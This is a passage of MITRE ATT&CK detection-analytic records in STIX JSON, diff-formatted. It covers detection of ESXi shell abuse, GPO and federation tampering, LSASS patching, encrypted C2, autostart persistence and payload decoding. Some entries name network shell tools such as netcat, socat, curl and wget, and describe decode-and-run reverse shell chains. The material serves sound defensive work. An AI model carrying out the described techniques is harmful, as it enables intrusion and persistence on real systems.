"x-mitre-analytic--8a534291-3b75-45ba-9f7b-b952251a3f03", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0269#AN0754", + "external_id": "AN0754" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0754", + "description": "vSphere API logins (vimService) or SSH to ESXi host followed by unauthorized shell commands or lateral remote logins from the ESXi host.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "esxi:vmkernel", + "channel": "vim.fault.*, DCUI login, SSH shell" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "Command execution trace" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SessionType", + "description": "Filter by DCUI, SSH, vSphere API" + }, + { + "field": "CommandPattern", + "description": "Watch for remote access tool invocations (e.g., netcat, ssh)" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f403ae40-31ff-4550-b21f-e1c24315276d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0270#AN0755", + "external_id": "AN0755" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0755", + "description": "Adversary modifies Group Policy Objects (GPOs), domain trust, or directory service objects via GUI, CLI, or programmatic APIs. Behavior includes creation/modification of GPOs, delegation permissions, trust objects, or rogue domain controller registration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "WinEventLog:Security", + "channel": "EventCode=5136,5137,5138,5139,5141" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:Security", + "channel": "EventCode=4670" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ObjectDN", + "description": "Filter to specific AD containers (e.g., CN=Policies,CN=System,DC=domain,DC=com) for GPOs." + }, + { + "field": "AttributeModified", + "description": "Focus on high-risk attributes such as gPCFileSysPath, ntSecurityDescriptor." + }, + { + "field": "TimeWindow", + "description": "Correlate changes with suspicious process creation or privileged user logon." + }, + { + "field": "UserContext", + "description": "Alert on unexpected user or service account modifying domain policy." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--65a1926d-e504-4153-b19f-555e8a06e5a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0270#AN0756", + "external_id": "AN0756" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0756", + "description": "Adversary modifies tenant policy through changes to federation configuration, trust settings, or identity provider additions in Microsoft 365/AzureAD via Portal, PowerShell, or Graph API. Includes setting authentication to federated or updating federated domains.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Set federation settings on domain|Set domain authentication|Add federated identity provider" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "OperationName=SetDomainAuthentication OR Set-FederatedDomain" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OperationName", + "description": "Identify rare modification operations that are not part of standard admin lifecycle." + }, + { + "field": "InitiatedBy", + "description": "Filter by known administrators or service principals. Flag unknown initiators." + }, + { + "field": "UserAgent", + "description": "Detect scripted modifications (e.g., PowerShell/Graph API vs Azure Portal)." + }, + { + "field": "TimeWindow", + "description": "Correlate tenant policy changes with new sign-ins or token forgery attempts." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--40882c73-344f-4138-894e-049b9bb1f460", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0271#AN0757", + "external_id": "AN0757" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0757", + "description": "Detects anomalous process access to LSASS on domain controllers, suspicious module loads of authentication DLLs, and registry or file modifications indicative of Skeleton Key\u2013style patching. Correlates LSASS access attempts with subsequent abnormal logon activity patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "WinEventLog:System", + "channel": "Unexpected modification to lsass.exe or cryptdll.dll" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredDLLs", + "description": "Specific authentication DLLs such as cryptdll.dll and samsrv.dll monitored for tampering." + }, + { + "field": "TimeWindow", + "description": "Correlation window between LSASS memory access, module load, and suspicious logons." + }, + { + "field": "UserContext", + "description": "Baseline expected accounts performing domain controller logon operations." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2f39584b-59bd-43ec-bd0a-5c2eba258ae2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0272#AN0758", + "external_id": "AN0758" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0758", + "description": "Detects unauthorized modification of network device authentication by correlating OS image file changes, checksum mismatches, or memory verification failures with anomalous authentication events. Focus is on behaviors where patched images introduce hardcoded passwords or bypass native authentication.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "networkconfig", + "channel": "unexpected OS image file upload or modification events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "network:auth", + "channel": "repeated successful authentications with previously unknown accounts or anomalous password acceptance" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BaselineChecksums", + "description": "Trusted baseline cryptographic hashes for OS images, used to detect unauthorized modifications." + }, + { + "field": "AuthFailureThreshold", + "description": "Threshold for correlating unusual authentication successes following failed attempts or unknown account use." + }, + { + "field": "VerificationInterval", + "description": "Frequency of runtime OS image and memory integrity checks." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--81233639-a08b-4a56-a5d4-ac2f9ae94a2b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0273#AN0759", + "external_id": "AN0759" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0759", + "description": "Processes that normally do not initiate network connections establishing outbound encrypted TLS/SSL sessions, especially with asymmetric traffic volumes (client sending more than receiving) or non-standard certificate chains. Defender observations correlate process creation with unexpected network encryption libraries being loaded.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedEncryptedProcesses", + "description": "Whitelist processes expected to use TLS (e.g., browsers, mail clients)." + }, + { + "field": "EntropyThreshold", + "description": "Payload randomness threshold to distinguish C2 encryption from legitimate traffic." + }, + { + "field": "TimeWindow", + "description": "Correlation window between process creation, module load, and encrypted connection." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f0dacfba-bcc0-43cb-bad5-0cd3fe3a7f5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0273#AN0760", + "external_id": "AN0760" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0760", + "description": "Processes like curl, wget, python, socat, or custom binaries initiating TLS/SSL sessions to non-standard destinations. Defender sees abnormal syscalls for connect(), loading of libssl libraries, and persistent outbound encrypted traffic from daemons not normally communicating externally.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "socket/connect with TLS context by unexpected process" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "system daemons initiating TLS sessions outside expected services" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:osquery", + "channel": "Processes linked with libssl or crypto libraries making outbound connections" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WhitelistedDaemons", + "description": "Legitimate system services expected to use TLS (e.g., package updates)." + }, + { + "field": "CertificateAuthorities", + "description": "Trusted CAs; flag self-signed or unrecognized certs." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--80c5c2fd-eb3a-4678-9d3b-6147a90284de", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0273#AN0761", + "external_id": "AN0761" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0761", + "description": "Applications or launchd jobs initiating encrypted TLS traffic to rare external hosts. Defender observes unified logs showing ssl/TLS API calls by processes not baseline-approved, and payload entropy suggesting encrypted C2 sessions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "Encrypted session initiation by unexpected binary" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Process invoking SSL routines from Security framework" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DoHResolvers", + "description": "Known legitimate DoH endpoints to reduce false positives." + }, + { + "field": "PayloadEntropyThreshold", + "description": "High-entropy traffic deviations used to detect concealed channels." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b94bb114-7532-4934-9955-9c7031109b9e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0273#AN0762", + "external_id": "AN0762" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0762", + "description": "VMware management daemons or guest processes initiating encrypted connections outside expected vCenter, update servers, or internal comms. Defender identifies hostd or vpxa initiating outbound TLS flows with uncommon destinations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:vpxd", + "channel": "TLS session established by ESXi service to unapproved endpoint" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "esxi:vmkernel", + "channel": "Inspection of sockets showing encrypted sessions from non-baseline processes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedMgmtHosts", + "description": "Baseline approved endpoints for vCenter or update services." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--29a00bef-79bd-4eb9-bf92-01651cffe9b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0273#AN0763", + "external_id": "AN0763" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0763", + "description": "Unusual TLS tunnels through ports not normally encrypted (e.g., TLS on port 8080, 53). Defender sees NetFlow/IPFIX or packet inspection indicating high-entropy traffic volumes and asymmetric client/server exchange ratios.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Session records with TLS-like byte patterns" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Connections", + "channel": "Abnormal certificate chains or non-standard ports carrying TLS" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PortProfiles", + "description": "Define expected TLS port usage to flag anomalies." + }, + { + "field": "TrafficAsymmetryRatio", + "description": "Sent/received byte thresholds to catch hidden C2." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--aa12f037-f724-43a6-97ca-e2e706859c1a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0274#AN0764", + "external_id": "AN0764" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0764", + "description": "Correlation of registry key modification for Run/RunOnce with abnormal parent-child process relationships and outlier execution at user logon or system startup", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "Customize based on expected parent-child process lineage for autostarts" + }, + { + "field": "StartupRegistryPath", + "description": "May vary based on organization policy or installed software" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--156387d6-9b9a-49f8-834a-cf3cd5ede09c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0274#AN0765", + "external_id": "AN0765" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0765", + "description": "Correlates creation/modification of systemd service files or /etc/init.d scripts with outlier process behavior during boot", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "creat" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "Execution of binaries located in /etc/init.d/ or systemd service paths" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilePath", + "description": "Organizations may use different init systems or custom startup paths" + }, + { + "field": "UserContext", + "description": "Autostart scripts should run as root or system users; deviations are suspect" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--eb0d78b0-f35d-49db-a8a5-d3cf840db6fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0274#AN0766", + "external_id": "AN0766" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0766", + "description": "Observes creation or modification of LaunchAgent/LaunchDaemon property list files combined with anomalous plist payload execution after user logon", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "macos:unifiedlog", + "channel": "Observed loading of new LaunchAgent or LaunchDaemon plist" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of binary listed in newly modified LaunchAgent plist" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PlistKey", + "description": "Organizations may use specific keys or additional payload parameters" + }, + { + "field": "TimeWindow", + "description": "Tunable based on expected delay between plist write and execution" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--75f05a04-103c-432a-afd6-8a8987b4370e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0275#AN0767", + "external_id": "AN0767" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0767", + "description": "An adversary leverages built-in tools such as certutil.exe, powershell.exe, or copy.exe to decode, reassemble, or extract hidden malicious content from obfuscated containers or encoded formats. The decoding utility often spawns shortly after file staging or download and may be chained with script interpreters or further payload execution.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ToolName", + "description": "May vary across environments (e.g., certutil, powershell, copy, expand, 7zip)" + }, + { + "field": "FileExtensionFilter", + "description": "Targets may use .txt, .cer, .enc, .b64, .zip, etc. to disguise payloads" + }, + { + "field": "CommandLineRegex", + "description": "Command syntax varies between base64 decoding, copy /b, and expand switches" + }, + { + "field": "TimeWindow", + "description": "Deobfuscation typically follows staging/download within a short timeframe" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c4866ad5-310c-4a72-89b5-1e5a8683d286", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0275#AN0768", + "external_id": "AN0768" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0768", + "description": "The adversary uses native utilities like base64, gzip, tar, or openssl to decode, decompress, or decrypt files that were previously staged or downloaded. These tools may be chained with curl/wget and executed via bash/zsh, often to extract an embedded payload or reverse shell script.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "bash/zsh of base64, tar, gzip, or openssl immediately after file write" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ShellProcessName", + "description": "Shell interpreter may vary (bash, zsh, dash, sh)" + }, + { + "field": "DecodeUtility", + "description": "May include base64, openssl, gunzip, tar, uudecode" + }, + { + "field": "ParentProcess", + "description": "Expected parent process may vary in attacker chain (e.g., curl, bash, ssh)" + }, + { + "field": "ArgumentPattern", + "description": "Detection regex should support flexible patterning of decode switches" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0029e7e7-d42c-4a91-8d00-6bf6fd72962f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0275#AN0769", + "external_id": "AN0769" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0769", + "description": "The adversary invokes built-in scripting or decoding tools like base64, plutil, or AppleScript-based utilities to decode files embedded in staging artifacts. Decoding often occurs post-download or as part of post-exploitation payload deployment via zsh, python, or osascript.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "base64 -d or osascript invoked on staged file" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DecodeInterpreter", + "description": "Could involve base64, osascript, python, perl, or plutil" + }, + { + "field": "ExecutionContext", + "description": "Deobfuscation may happen within GUI app context or LaunchAgent/Daemon" + }, + { + "field": "UserContext", + "description": "May differ depending on local user, root escalation, or persistence method" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--34fecfa5-24fb-46c1-955f-68ecd4cc402c", + "created_by_ref": 